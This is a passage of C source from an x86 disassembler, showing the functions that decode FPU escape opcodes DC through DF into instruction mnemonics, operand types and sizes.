                (*pMyDisasm).Argument1.ArgType = REGISTER_TYPE + FPU_REG + REGS[0];
                (*pMyDisasm).Argument1.ArgSize = 80;
                (*pMyDisasm).Argument1.AccessMode = READ;
                (void) strcpy ((*pMyDisasm).Argument2.ArgMnemonic, (*pRegistersFPU)[(MyMODRM & 0xf)%8]);
                (*pMyDisasm).Argument2.ArgType = REGISTER_TYPE + FPU_REG + REGS[(MyMODRM & 0xf)%8];
                (*pMyDisasm).Argument2.ArgSize = 80;
            }
            else {
                FailDecode(pMyDisasm);
            }
        }
        else if ((MyMODRM & 0xf0) == 0xf0) {
            if (((MyMODRM & 0xf) >=0x0) && ((MyMODRM & 0xf) <=0x7)) {
                (*pMyDisasm).Instruction.Category = FPU_INSTRUCTION + COMPARISON_INSTRUCTION;
                (void) strcpy ((*pMyDisasm).Instruction.Mnemonic, "fcomi ");
                (void) strcpy ((*pMyDisasm).Argument1.ArgMnemonic, (*pRegistersFPU)[0]);
                (*pMyDisasm).Argument1.ArgType = REGISTER_TYPE + FPU_REG + REGS[0];
                (*pMyDisasm).Argument1.ArgSize = 80;
                (*pMyDisasm).Argument1.AccessMode = READ;
                (void) strcpy ((*pMyDisasm).Argument2.ArgMnemonic, (*pRegistersFPU)[(MyMODRM & 0xf)%8]);
                (*pMyDisasm).Argument2.ArgType = REGISTER_TYPE + FPU_REG + REGS[(MyMODRM & 0xf)%8];
                (*pMyDisasm).Argument2.ArgSize = 80;
            }
            else {
                FailDecode(pMyDisasm);
            }
        }
        else {
                FailDecode(pMyDisasm);
        }
    }
    EIP_ += DECALAGE_EIP + 2;
}


// ====================================================================
//
// ====================================================================
void __stdcall DC_(PDISASM pMyDisasm)
{
    long MyMODRM;
    char (*pRegistersFPU)[8][8] ;

    DECALAGE_EIP = 0;
    if (!Security(1)) {return;}
    MyMODRM = *((BYTE*) (EIP_+1));
    pRegistersFPU = &RegistersFPU_Masm;
    if (SYNTAX_ == NasmSyntax) {
        pRegistersFPU = &RegistersFPU_Nasm;
    }
    if (MyMODRM <= 0xbf) {

        REGOPCODE = ((*((BYTE*) (EIP_ + 1))) >> 3) & 0x7;
        if (REGOPCODE == 0) {
            OpSize = 103;
            MOD_RM(&(*pMyDisasm).Argument2);
            (*pMyDisasm).Instruction.Category = FPU_INSTRUCTION + ARITHMETIC_INSTRUCTION;
            (void) strcpy ((*pMyDisasm).Instruction.Mnemonic, "fadd ");
            (*pMyDisasm).Argument1.ArgType = REGISTER_TYPE + FPU_REG + REG0;
            (*pMyDisasm).Argument1.ArgSize = 80;
        }
        else if (REGOPCODE == 1) {
            OpSize = 103;
            MOD_RM(&(*pMyDisasm).Argument2);
            (*pMyDisasm).Instruction.Category = FPU_INSTRUCTION + ARITHMETIC_INSTRUCTION;
            (void) strcpy ((*pMyDisasm).Instruction.Mnemonic, "fmul ");
            (*pMyDisasm).Argument1.ArgType = REGISTER_TYPE + FPU_REG + REG0;
            (*pMyDisasm).Argument1.ArgSize = 80;
        }
        else if (REGOPCODE == 2) {
            OpSize = 103;
            MOD_RM(&(*pMyDisasm).Argument2);
            (*pMyDisasm).Instruction.Category = FPU_INSTRUCTION + COMPARISON_INSTRUCTION;
            (void) strcpy ((*pMyDisasm).Instruction.Mnemonic, "fcom ");
            (*pMyDisasm).Argument1.ArgType = REGISTER_TYPE + FPU_REG + REG0;
            (*pMyDisasm).Argument1.ArgSize = 80;
            (*pMyDisasm).Argument1.AccessMode = READ;
        }
        else if (REGOPCODE == 3) {
            OpSize = 103;
            MOD_RM(&(*pMyDisasm).Argument2);
            (*pMyDisasm).Instruction.Category = FPU_INSTRUCTION + COMPARISON_INSTRUCTION;
            (void) strcpy ((*pMyDisasm).Instruction.Mnemonic, "fcomp ");
            (*pMyDisasm).Argument1.ArgType = REGISTER_TYPE + FPU_REG + REG0;
            (*pMyDisasm).Argument1.ArgSize = 80;
            (*pMyDisasm).Argument1.AccessMode = READ;
        }
        else if (REGOPCODE == 4) {
            OpSize = 103;
            MOD_RM(&(*pMyDisasm).Argument2);
            (*pMyDisasm).Instruction.Category = FPU_INSTRUCTION + ARITHMETIC_INSTRUCTION;
            (void) strcpy ((*pMyDisasm).Instruction.Mnemonic, "fsub ");
            (*pMyDisasm).Argument1.ArgType = REGISTER_TYPE + FPU_REG + REG0;
            (*pMyDisasm).Argument1.ArgSize = 80;
        }
        else if (REGOPCODE == 5) {
            OpSize = 103;
            MOD_RM(&(*pMyDisasm).Argument2);
            (*pMyDisasm).Instruction.Category = FPU_INSTRUCTION + ARITHMETIC_INSTRUCTION;
            (void) strcpy ((*pMyDisasm).Instruction.Mnemonic, "fsubr ");
            (*pMyDisasm).Argument1.ArgType = REGISTER_TYPE + FPU_REG + REG0;
            (*pMyDisasm).Argument1.ArgSize = 80;
        }
        else if (REGOPCODE == 6) {
            OpSize = 103;
            MOD_RM(&(*pMyDisasm).Argument2);
            (*pMyDisasm).Instruction.Category = FPU_INSTRUCTION + ARITHMETIC_INSTRUCTION;
            (void) strcpy ((*pMyDisasm).Instruction.Mnemonic, "fdiv ");
            (*pMyDisasm).Argument1.ArgType = REGISTER_TYPE + FPU_REG + REG0;
            (*pMyDisasm).Argument1.ArgSize = 80;
        }
        else if (REGOPCODE == 7) {
            OpSize = 103;
            MOD_RM(&(*pMyDisasm).Argument2);
            (*pMyDisasm).Instruction.Category = FPU_INSTRUCTION + ARITHMETIC_INSTRUCTION;
            (void) strcpy ((*pMyDisasm).Instruction.Mnemonic, "fdivr ");
            (*pMyDisasm).Argument1.ArgType = REGISTER_TYPE + FPU_REG + REG0;
            (*pMyDisasm).Argument1.ArgSize = 80;
        }
        else {
            FailDecode(pMyDisasm);
        }
    }
    else {
        if ((MyMODRM & 0xf0) == 0xc0) {
            if (((MyMODRM & 0xf) >=0) && ((MyMODRM & 0xf) <=7)) {
                (*pMyDisasm).Instruction.Category = FPU_INSTRUCTION + ARITHMETIC_INSTRUCTION;
                (void) strcpy ((*pMyDisasm).Instruction.Mnemonic, "fadd ");
            }
            else {
                (*pMyDisasm).Instruction.Category = FPU_INSTRUCTION + ARITHMETIC_INSTRUCTION;
                (void) strcpy ((*pMyDisasm).Instruction.Mnemonic, "fmul ");
                (*pMyDisasm).Argument2.AccessMode = WRITE;
            }
            (void) strcpy ((*pMyDisasm).Argument1.ArgMnemonic, (*pRegistersFPU)[0]);
            (*pMyDisasm).Argument1.ArgType = REGISTER_TYPE + FPU_REG + REGS[0];
            (*pMyDisasm).Argument1.ArgSize = 80;
            (void) strcpy ((*pMyDisasm).Argument2.ArgMnemonic, (*pRegistersFPU)[(MyMODRM & 0xf)%8]);
            (*pMyDisasm).Argument2.ArgType = REGISTER_TYPE + FPU_REG + REGS[(MyMODRM & 0xf)%8];
            (*pMyDisasm).Argument2.ArgSize = 80;
        }
        else if ((MyMODRM & 0xf0) == 0xd0) {
            if (((MyMODRM & 0xf) >=0) && ((MyMODRM & 0xf) <=7)) {
                (*pMyDisasm).Instruction.Category = FPU_INSTRUCTION + COMPARISON_INSTRUCTION;
                (void) strcpy ((*pMyDisasm).Instruction.Mnemonic, "fcom2 ");
                (*pMyDisasm).Argument1.ArgType = REGISTER_TYPE + FPU_REG + REG0;
                (*pMyDisasm).Argument1.ArgSize = 80;
                (*pMyDisasm).Argument1.AccessMode = READ;
            }
            else {
                (*pMyDisasm).Instruction.Category = FPU_INSTRUCTION + COMPARISON_INSTRUCTION;
                (void) strcpy ((*pMyDisasm).Instruction.Mnemonic, "fcomp3 ");
                (*pMyDisasm).Argument2.AccessMode = WRITE;
                (*pMyDisasm).Argument1.ArgType = REGISTER_TYPE + FPU_REG + REG0;
                (*pMyDisasm).Argument1.ArgSize = 80;
                (*pMyDisasm).Argument1.AccessMode = READ;
            }
            (void) strcpy ((*pMyDisasm).Argument1.ArgMnemonic, (*pRegistersFPU)[0]);
            (*pMyDisasm).Argument1.ArgType = REGISTER_TYPE + FPU_REG + REGS[0];
            (*pMyDisasm).Argument1.ArgSize = 80;
            (void) strcpy ((*pMyDisasm).Argument2.ArgMnemonic, (*pRegistersFPU)[(MyMODRM & 0xf)%8]);
            (*pMyDisasm).Argument2.ArgType = REGISTER_TYPE + FPU_REG + REGS[(MyMODRM & 0xf)%8];
            (*pMyDisasm).Argument2.ArgSize = 80;

        }
        else if ((MyMODRM & 0xf0) == 0xe0) {
            if (((MyMODRM & 0xf) >=0) && ((MyMODRM & 0xf) <=7)) {
                (*pMyDisasm).Instruction.Category = FPU_INSTRUCTION + ARITHMETIC_INSTRUCTION;
                (void) strcpy ((*pMyDisasm).Instruction.Mnemonic, "fsubr ");
            }
            else {
                (*pMyDisasm).Instruction.Category = FPU_INSTRUCTION + ARITHMETIC_INSTRUCTION;
                (void) strcpy ((*pMyDisasm).Instruction.Mnemonic, "fsub ");
            }
            (void) strcpy ((*pMyDisasm).Argument1.ArgMnemonic, (*pRegistersFPU)[0]);
            (*pMyDisasm).Argument1.ArgType = REGISTER_TYPE + FPU_REG + REGS[0];
            (*pMyDisasm).Argument1.ArgSize = 80;
            (void) strcpy ((*pMyDisasm).Argument2.ArgMnemonic, (*pRegistersFPU)[(MyMODRM & 0xf)%8]);
            (*pMyDisasm).Argument2.ArgType = REGISTER_TYPE + FPU_REG + REGS[(MyMODRM & 0xf)%8];
            (*pMyDisasm).Argument2.ArgSize = 80;
        }
        else if ((MyMODRM & 0xf0) == 0xf0) {
            if (((MyMODRM & 0xf) >=0) && ((MyMODRM & 0xf) <=7)) {
                (*pMyDisasm).Instruction.Category = FPU_INSTRUCTION + ARITHMETIC_INSTRUCTION;
                (void) strcpy ((*pMyDisasm).Instruction.Mnemonic, "fdivr ");
            }
            else {
                (*pMyDisasm).Instruction.Category = FPU_INSTRUCTION + ARITHMETIC_INSTRUCTION;
                (void) strcpy ((*pMyDisasm).Instruction.Mnemonic, "fdiv ");
                (*pMyDisasm).Argument2.AccessMode = WRITE;
            }
            (void) strcpy ((*pMyDisasm).Argument1.ArgMnemonic, (*pRegistersFPU)[0]);
            (*pMyDisasm).Argument1.ArgType = REGISTER_TYPE + FPU_REG + REGS[0];
            (*pMyDisasm).Argument1.ArgSize = 80;
            (void) strcpy ((*pMyDisasm).Argument2.ArgMnemonic, (*pRegistersFPU)[(MyMODRM & 0xf)%8]);
            (*pMyDisasm).Argument2.ArgType = REGISTER_TYPE + FPU_REG + REGS[(MyMODRM & 0xf)%8];
            (*pMyDisasm).Argument2.ArgSize = 80;

        }
        else {
            FailDecode(pMyDisasm);
        }
    }
    EIP_ += DECALAGE_EIP + 2;
}


// ====================================================================
//
// ====================================================================
void __stdcall DD_(PDISASM pMyDisasm)
{
    long MyMODRM;
    char (*pRegistersFPU)[8][8] ;

    DECALAGE_EIP = 0;
    if (!Security(1)) {return;}
    MyMODRM = *((BYTE*) (EIP_+1));
    pRegistersFPU = &RegistersFPU_Masm;
    if (SYNTAX_ == NasmSyntax) {
        pRegistersFPU = &RegistersFPU_Nasm;
    }
    if (MyMODRM <= 0xbf) {

        REGOPCODE = ((*((BYTE*) (EIP_ + 1))) >> 3) & 0x7;
        if (REGOPCODE == 0) {
            OpSize = 103;
            MOD_RM(&(*pMyDisasm).Argument2);
            (*pMyDisasm).Instruction.Category = FPU_INSTRUCTION + DATA_TRANSFER;
            (void) strcpy ((*pMyDisasm).Instruction.Mnemonic, "fld ");
            (*pMyDisasm).Argument1.ArgType = REGISTER_TYPE + FPU_REG + REG0;
            (*pMyDisasm).Argument1.ArgSize = 80;
        }
        else if (REGOPCODE == 1) {
            OpSize = 3;
            MOD_RM(&(*pMyDisasm).Argument1);
            (*pMyDisasm).Instruction.Category = FPU_INSTRUCTION + DATA_TRANSFER;
            (void) strcpy ((*pMyDisasm).Instruction.Mnemonic, "fisttp ");
            (*pMyDisasm).Argument2.ArgType = REGISTER_TYPE + FPU_REG + REG0;
            (*pMyDisasm).Argument2.ArgSize = 80;
        }
        else if (REGOPCODE == 2) {
            OpSize = 3;
            MOD_RM(&(*pMyDisasm).Argument1);
            (*pMyDisasm).Instruction.Category = FPU_INSTRUCTION + DATA_TRANSFER;
            (void) strcpy ((*pMyDisasm).Instruction.Mnemonic, "fst ");
            (*pMyDisasm).Argument2.ArgType = REGISTER_TYPE + FPU_REG + REG0;
            (*pMyDisasm).Argument2.ArgSize = 80;
        }
        else if (REGOPCODE == 3) {
            OpSize = 3;
            MOD_RM(&(*pMyDisasm).Argument1);
            (*pMyDisasm).Instruction.Category = FPU_INSTRUCTION + DATA_TRANSFER;
            (void) strcpy ((*pMyDisasm).Instruction.Mnemonic, "fstp ");
            (*pMyDisasm).Argument2.ArgType = REGISTER_TYPE + FPU_REG + REG0;
            (*pMyDisasm).Argument2.ArgSize = 80;
        }
        else if (REGOPCODE == 4) {
            OpSize = 105;
            MOD_RM(&(*pMyDisasm).Argument2);
            (*pMyDisasm).Instruction.Category = FPU_INSTRUCTION + FPUCONTROL;
            (void) strcpy ((*pMyDisasm).Instruction.Mnemonic, "frstor ");
            (*pMyDisasm).Argument1.ArgType = REGISTER_TYPE + FPU_REG + REG0;
            (*pMyDisasm).Argument1.ArgSize = 108*8;
        }
        else if (REGOPCODE == 6) {
            OpSize = 5;
            MOD_RM(&(*pMyDisasm).Argument1);
            (*pMyDisasm).Instruction.Category = FPU_INSTRUCTION + FPUCONTROL;
            (void) strcpy ((*pMyDisasm).Instruction.Mnemonic, "fsave ");
            (*pMyDisasm).Argument2.ArgType = REGISTER_TYPE + FPU_REG + REG0;
            (*pMyDisasm).Argument2.ArgSize = 108*8;
        }
        else if (REGOPCODE == 7) {
            OpSize = 2;
            MOD_RM(&(*pMyDisasm).Argument1);
            (*pMyDisasm).Instruction.Category = FPU_INSTRUCTION + FPUCONTROL;
            (void) strcpy ((*pMyDisasm).Instruction.Mnemonic, "fstsw ");
            (*pMyDisasm).Argument2.ArgType = REGISTER_TYPE + FPU_REG;
            (*pMyDisasm).Argument2.ArgSize = 16;
        }
        else {
            FailDecode(pMyDisasm);
        }
    }
    else {
        if ((MyMODRM & 0xf0) == 0xc0) {
            if (((MyMODRM & 0xf) >=0) && ((MyMODRM & 0xf) <=7)) {
                (*pMyDisasm).Instruction.Category = FPU_INSTRUCTION + FPUCONTROL;
                (void) strcpy ((*pMyDisasm).Instruction.Mnemonic, "ffree ");
            }
            else {
                (*pMyDisasm).Instruction.Category = FPU_INSTRUCTION + DATA_TRANSFER;
                (void) strcpy ((*pMyDisasm).Instruction.Mnemonic, "fxch4 ");
                (*pMyDisasm).Argument2.AccessMode = WRITE;
            }
            (void) strcpy ((*pMyDisasm).Argument1.ArgMnemonic, (*pRegistersFPU)[0]);
            (*pMyDisasm).Argument1.ArgType = REGISTER_TYPE + FPU_REG + REGS[0];
            (*pMyDisasm).Argument1.ArgSize = 80;
            (void) strcpy ((*pMyDisasm).Argument2.ArgMnemonic, (*pRegistersFPU)[(MyMODRM & 0xf)%8]);
            (*pMyDisasm).Argument2.ArgType = REGISTER_TYPE + FPU_REG + REGS[(MyMODRM & 0xf)%8];
            (*pMyDisasm).Argument2.ArgSize = 80;
        }
        else if ((MyMODRM & 0xf0) == 0xd0) {
            if (((MyMODRM & 0xf) >=0) && ((MyMODRM & 0xf) <=7)) {
                (*pMyDisasm).Instruction.Category = FPU_INSTRUCTION + DATA_TRANSFER;
                (void) strcpy ((*pMyDisasm).Instruction.Mnemonic, "fst ");
            }
            else {
                (*pMyDisasm).Instruction.Category = FPU_INSTRUCTION + DATA_TRANSFER;
                (void) strcpy ((*pMyDisasm).Instruction.Mnemonic, "fstp ");
                (*pMyDisasm).Argument2.AccessMode = WRITE;
            }
            (void) strcpy ((*pMyDisasm).Argument1.ArgMnemonic, (*pRegistersFPU)[0]);
            (*pMyDisasm).Argument1.ArgType = REGISTER_TYPE + FPU_REG + REGS[0];
            (*pMyDisasm).Argument1.ArgSize = 80;
            (void) strcpy ((*pMyDisasm).Argument2.ArgMnemonic, (*pRegistersFPU)[(MyMODRM & 0xf)%8]);
            (*pMyDisasm).Argument2.ArgType = REGISTER_TYPE + FPU_REG + REGS[(MyMODRM & 0xf)%8];
            (*pMyDisasm).Argument2.ArgSize = 80;

        }
        else if ((MyMODRM & 0xf0) == 0xe0) {
            if (((MyMODRM & 0xf) >=0) && ((MyMODRM & 0xf) <=7)) {
                (*pMyDisasm).Instruction.Category = FPU_INSTRUCTION + COMPARISON_INSTRUCTION;
                (void) strcpy ((*pMyDisasm).Instruction.Mnemonic, "fucom ");
            }
            else {
                (*pMyDisasm).Instruction.Category = FPU_INSTRUCTION + COMPARISON_INSTRUCTION;
                (void) strcpy ((*pMyDisasm).Instruction.Mnemonic, "fucomp ");
                (*pMyDisasm).Argument2.AccessMode = WRITE;
            }
            (void) strcpy ((*pMyDisasm).Argument1.ArgMnemonic, (*pRegistersFPU)[0]);
            (*pMyDisasm).Argument1.ArgType = REGISTER_TYPE + FPU_REG + REGS[0];
            (*pMyDisasm).Argument1.ArgSize = 80;
            (void) strcpy ((*pMyDisasm).Argument2.ArgMnemonic, (*pRegistersFPU)[(MyMODRM & 0xf)%8]);
            (*pMyDisasm).Argument2.ArgType = REGISTER_TYPE + FPU_REG + REGS[(MyMODRM & 0xf)%8];
            (*pMyDisasm).Argument2.ArgSize = 80;
        }

        else {
            FailDecode(pMyDisasm);
        }
    }
    EIP_ += DECALAGE_EIP + 2;
}


// ====================================================================
//
// ====================================================================
void __stdcall DE_(PDISASM pMyDisasm)
{
    long MyMODRM;
    char (*pRegistersFPU)[8][8] ;

    DECALAGE_EIP = 0;
    if (!Security(1)) {return;}
    MyMODRM = *((BYTE*) (EIP_+1));
    pRegistersFPU = &RegistersFPU_Masm;
    if (SYNTAX_ == NasmSyntax) {
        pRegistersFPU = &RegistersFPU_Nasm;
    }
    if (MyMODRM <= 0xbf) {

        REGOPCODE = ((*((BYTE*) (EIP_ + 1))) >> 3) & 0x7;
        if (REGOPCODE == 0) {
            OpSize = 103;
            MOD_RM(&(*pMyDisasm).Argument2);
            (*pMyDisasm).Instruction.Category = FPU_INSTRUCTION + ARITHMETIC_INSTRUCTION;
            (void) strcpy ((*pMyDisasm).Instruction.Mnemonic, "fiadd ");
            (*pMyDisasm).Argument1.ArgType = REGISTER_TYPE + FPU_REG + REG0;
            (*pMyDisasm).Argument1.ArgSize = 80;
        }
        else if (REGOPCODE == 1) {
            OpSize = 103;
            MOD_RM(&(*pMyDisasm).Argument2);
            (*pMyDisasm).Instruction.Category = FPU_INSTRUCTION + ARITHMETIC_INSTRUCTION;
            (void) strcpy ((*pMyDisasm).Instruction.Mnemonic, "fimul ");
            (*pMyDisasm).Argument1.ArgType = REGISTER_TYPE + FPU_REG + REG0;
            (*pMyDisasm).Argument1.ArgSize = 80;
        }
        else if (REGOPCODE == 2) {
            OpSize = 103;
            MOD_RM(&(*pMyDisasm).Argument2);
            (*pMyDisasm).Instruction.Category = FPU_INSTRUCTION + COMPARISON_INSTRUCTION;
            (void) strcpy ((*pMyDisasm).Instruction.Mnemonic, "ficom ");
            (*pMyDisasm).Argument1.ArgType = REGISTER_TYPE + FPU_REG + REG0;
            (*pMyDisasm).Argument1.ArgSize = 80;
        }
        else if (REGOPCODE == 3) {
            OpSize = 103;
            MOD_RM(&(*pMyDisasm).Argument2);
            (*pMyDisasm).Instruction.Category = FPU_INSTRUCTION + COMPARISON_INSTRUCTION;
            (void) strcpy ((*pMyDisasm).Instruction.Mnemonic, "ficomp ");
            (*pMyDisasm).Argument1.ArgType = REGISTER_TYPE + FPU_REG + REG0;
            (*pMyDisasm).Argument1.ArgSize = 80;
        }
        else if (REGOPCODE == 4) {
            OpSize = 103;
            MOD_RM(&(*pMyDisasm).Argument2);
            (*pMyDisasm).Instruction.Category = FPU_INSTRUCTION + ARITHMETIC_INSTRUCTION;
            (void) strcpy ((*pMyDisasm).Instruction.Mnemonic, "fisub ");
            (*pMyDisasm).Argument1.ArgType = REGISTER_TYPE + FPU_REG + REG0;
            (*pMyDisasm).Argument1.ArgSize = 80;
        }
        else if (REGOPCODE == 5) {
            OpSize = 103;
            MOD_RM(&(*pMyDisasm).Argument2);
            (*pMyDisasm).Instruction.Category = FPU_INSTRUCTION + ARITHMETIC_INSTRUCTION;
            (void) strcpy ((*pMyDisasm).Instruction.Mnemonic, "fisubr ");
            (*pMyDisasm).Argument1.ArgType = REGISTER_TYPE + FPU_REG + REG0;
            (*pMyDisasm).Argument1.ArgSize = 80;
        }
        else if (REGOPCODE == 6) {
            OpSize = 103;
            MOD_RM(&(*pMyDisasm).Argument2);
            (*pMyDisasm).Instruction.Category = FPU_INSTRUCTION + ARITHMETIC_INSTRUCTION;
            (void) strcpy ((*pMyDisasm).Instruction.Mnemonic, "fidiv ");
            (*pMyDisasm).Argument1.ArgType = REGISTER_TYPE + FPU_REG + REG0;
            (*pMyDisasm).Argument1.ArgSize = 80;
        }
        else if (REGOPCODE == 7) {
            OpSize = 103;
            MOD_RM(&(*pMyDisasm).Argument2);
            (*pMyDisasm).Instruction.Category = FPU_INSTRUCTION + ARITHMETIC_INSTRUCTION;
            (void) strcpy ((*pMyDisasm).Instruction.Mnemonic, "fidivr ");
            (*pMyDisasm).Argument1.ArgType = REGISTER_TYPE + FPU_REG + REG0;
            (*pMyDisasm).Argument1.ArgSize = 80;
        }
        else {
            FailDecode(pMyDisasm);
        }
    }
    else {
        if ((MyMODRM & 0xf0) == 0xc0) {
            if (((MyMODRM & 0xf) >=0) && ((MyMODRM & 0xf) <=7)) {
                (*pMyDisasm).Instruction.Category = FPU_INSTRUCTION + ARITHMETIC_INSTRUCTION;
                (void) strcpy ((*pMyDisasm).Instruction.Mnemonic, "faddp ");
            }
            else {
                (*pMyDisasm).Instruction.Category = FPU_INSTRUCTION + ARITHMETIC_INSTRUCTION;
                (void) strcpy ((*pMyDisasm).Instruction.Mnemonic, "fmulp ");
                (*pMyDisasm).Argument2.AccessMode = WRITE;
            }
            (void) strcpy ((*pMyDisasm).Argument1.ArgMnemonic, (*pRegistersFPU)[0]);
            (*pMyDisasm).Argument1.ArgType = REGISTER_TYPE + FPU_REG + REGS[0];
            (*pMyDisasm).Argument1.ArgSize = 80;
            (void) strcpy ((*pMyDisasm).Argument2.ArgMnemonic, (*pRegistersFPU)[(MyMODRM & 0xf)%8]);
            (*pMyDisasm).Argument2.ArgType = REGISTER_TYPE + FPU_REG + REGS[(MyMODRM & 0xf)%8];
            (*pMyDisasm).Argument2.ArgSize = 80;
        }
        else if ((MyMODRM & 0xf0) == 0xd0) {
            if (((MyMODRM & 0xf) >=0) && ((MyMODRM & 0xf) <=7)) {
                (*pMyDisasm).Instruction.Category = FPU_INSTRUCTION + COMPARISON_INSTRUCTION;
                (void) strcpy ((*pMyDisasm).Instruction.Mnemonic, "fcomp5 ");
                (void) strcpy ((*pMyDisasm).Argument1.ArgMnemonic, (*pRegistersFPU)[0]);
                (*pMyDisasm).Argument1.ArgType = REGISTER_TYPE + FPU_REG + REGS[0];
                (*pMyDisasm).Argument1.ArgSize = 80;
                (void) strcpy ((*pMyDisasm).Argument2.ArgMnemonic, (*pRegistersFPU)[(MyMODRM & 0xf)%8]);
                (*pMyDisasm).Argument2.ArgType = REGISTER_TYPE + FPU_REG + REGS[(MyMODRM & 0xf)%8];
                (*pMyDisasm).Argument2.ArgSize = 80;
            }
            else if (MyMODRM == 0xd1){
                (*pMyDisasm).Instruction.Category = FPU_INSTRUCTION + COMPARISON_INSTRUCTION;
                (void) strcpy ((*pMyDisasm).Instruction.Mnemonic, "fcompp ");
                (*pMyDisasm).Argument2.AccessMode = WRITE;
            }


        }
        else if ((MyMODRM & 0xf0) == 0xe0) {
            if (((MyMODRM & 0xf) >=0) && ((MyMODRM & 0xf) <=7)) {
                (*pMyDisasm).Instruction.Category = FPU_INSTRUCTION + ARITHMETIC_INSTRUCTION;
                (void) strcpy ((*pMyDisasm).Instruction.Mnemonic, "fsubrp ");
            }
            else {
                (*pMyDisasm).Instruction.Category = FPU_INSTRUCTION + ARITHMETIC_INSTRUCTION;
                (void) strcpy ((*pMyDisasm).Instruction.Mnemonic, "fsubp ");
                (*pMyDisasm).Argument2.AccessMode = WRITE;
            }
            (void) strcpy ((*pMyDisasm).Argument1.ArgMnemonic, (*pRegistersFPU)[0]);
            (*pMyDisasm).Argument1.ArgType = REGISTER_TYPE + FPU_REG + REGS[0];
            (*pMyDisasm).Argument1.ArgSize = 80;
            (void) strcpy ((*pMyDisasm).Argument2.ArgMnemonic, (*pRegistersFPU)[(MyMODRM & 0xf)%8]);
            (*pMyDisasm).Argument2.ArgType = REGISTER_TYPE + FPU_REG + REGS[(MyMODRM & 0xf)%8];
            (*pMyDisasm).Argument2.ArgSize = 80;
        }
        else if ((MyMODRM & 0xf0) == 0xf0) {
            if (((MyMODRM & 0xf) >=0) && ((MyMODRM & 0xf) <=7)) {
                (*pMyDisasm).Instruction.Category = FPU_INSTRUCTION + ARITHMETIC_INSTRUCTION;
                (void) strcpy ((*pMyDisasm).Instruction.Mnemonic, "fdivrp ");
            }
            else {
                (*pMyDisasm).Instruction.Category = FPU_INSTRUCTION + ARITHMETIC_INSTRUCTION;
                (void) strcpy ((*pMyDisasm).Instruction.Mnemonic, "fdivp ");
                (*pMyDisasm).Argument2.AccessMode = WRITE;
            }
            (void) strcpy ((*pMyDisasm).Argument1.ArgMnemonic, (*pRegistersFPU)[0]);
            (*pMyDisasm).Argument1.ArgType = REGISTER_TYPE + FPU_REG + REGS[0];
            (*pMyDisasm).Argument1.ArgSize = 80;
            (void) strcpy ((*pMyDisasm).Argument2.ArgMnemonic, (*pRegistersFPU)[(MyMODRM & 0xf)%8]);
            (*pMyDisasm).Argument2.ArgType = REGISTER_TYPE + FPU_REG + REGS[(MyMODRM & 0xf)%8];
            (*pMyDisasm).Argument2.ArgSize = 80;

        }
        else {
            FailDecode(pMyDisasm);
        }
    }
    EIP_ += DECALAGE_EIP + 2;
}


// ====================================================================
//
// ====================================================================
void __stdcall DF_(PDISASM pMyDisasm)
{
    long MyMODRM;
    char (*pRegistersFPU)[8][8] ;

    DECALAGE_EIP = 0;
    if (!Security(1)) {return;}
    MyMODRM = *((BYTE*) (EIP_+1));
    pRegistersFPU = &RegistersFPU_Masm;
    if (SYNTAX_ == NasmSyntax) {
        pRegistersFPU = &RegistersFPU_Nasm;
    }
    if (MyMODRM <= 0xbf) {

        REGOPCODE = ((*((BYTE*) (EIP_ + 1))) >> 3) & 0x7;
        if (REGOPCODE == 0) {
            OpSize = 102;
            MOD_RM(&(*pMyDisasm).Argument2);
            (*pMyDisasm).Instruction.Category = FPU_INSTRUCTION + DATA_TRANSFER;
            (void) strcpy ((*pMyDisasm).Instruction.Mnemonic, "fild ");
            (*pMyDisasm).Argument1.ArgType = REGISTER_TYPE + FPU_REG + REG0;
            (*pMyDisasm).Argument1.ArgSize = 80;
        }
        else if (REGOPCODE == 1) {
            OpSize = 2;
            MOD_RM(&(*pMyDisasm).Argument1);
            (*pMyDisasm).Instruction.Category = FPU_INSTRUCTION + DATA_TRANSFER;
            (void) strcpy ((*pMyDisasm).Instruction.Mnemonic, "fisttp ");
            (*pMyDisasm).Argument2.ArgType = REGISTER_TYPE + FPU_REG + REG0;
            (*pMyDisasm).Argument2.ArgSize = 80;
        }
        else if (REGOPCODE == 2) {
            OpSize = 2;
            MOD_RM(&(*pMyDisasm).Argument1);
            (*pMyDisasm).Instruction.Category = FPU_INSTRUCTION + DATA_TRANSFER;
            (void) strcpy ((*pMyDisasm).Instruction.Mnemonic, "fist ");
            (*pMyDisasm).Argument2.ArgType = REGISTER_TYPE + FPU_REG + REG0;
            (*pMyDisasm).Argument2.ArgSize = 80;
        }
        else if (REGOPCODE == 3) {
            OpSize = 2;
            MOD_RM(&(*pMyDisasm).Argument1);
            (*pMyDisasm).Instruction.Category = FPU_INSTRUCTION + DATA_TRANSFER;
            (void) strcpy ((*pMyDisasm).Instruction.Mnemonic, "fistp ");
            (*pMyDisasm).Argument2.ArgType = REGISTER_TYPE + FPU_REG + REG0;
            (*pMyDisasm).Argument2.ArgSize = 80;
        }
        else if (REGOPCODE == 4) {
            OpSize = 105;
            MOD_RM(&(*pMyDisasm).Argument2);
            (*pMyDisasm).Instruction.Category = FPU_INSTRUCTION + DATA_TRANSFER;
            (void) strcpy ((*pMyDisasm).Instruction.Mnemonic, "fbld ");
            (*pMyDisasm).Argument1.ArgType = REGISTER_TYPE + FPU_REG + REG0;
            (*pMyDisasm).Argument1.ArgSize = 80;
        }
        else if (REGOPCODE == 5) {
            OpSize = 103;
            MOD_RM(&(*pMyDisasm).Argument2);
            (*pMyDisasm).Instruction.Category = FPU_INSTRUCTION + DATA_TRANSFER;
            (void) strcpy ((*pMyDisasm).Instruction.Mnemonic, "fild ");
            (*pMyDisasm).Argument1.ArgType = REGISTER_TYPE + FPU_REG + REG0;
            (*pMyDisasm).Argument1.ArgSize = 80;
        }
        else if (REGOPCODE == 6) {
            OpSize = 5;
            MOD_RM(&(*pMyDisasm).Argument1);
            (*pMyDisasm).Instruction.Category = FPU_INSTRUCTION + DATA_TRANSFER;
            (void) strcpy ((*pMyDisasm).Instruction.Mnemonic, "fbstp ");
            (*pMyDisasm).Argument1.ArgType = REGISTER_TYPE + FPU_REG + REG0;
            (*pMyDisasm).Argument1.ArgSize = 80;
        }
        else if (REGOPCODE == 7) {
            OpSize = 4;
            MOD_RM(&(*pMyDisasm).Argument1);
            (*pMyDisasm).Instruction.Category = FPU_INSTRUCTION + DATA_TRANSFER;
            (void) strcpy ((*pMyDisasm).Instruction.Mnemonic, "fistp ");
            (*pMyDisasm).Argument2.ArgType = REGISTER_TYPE + FPU_REG + REG0;
            (*pMyDisasm).Argument2.ArgSize = 80;
        }
        else {
            FailDecode(pMyDisasm);
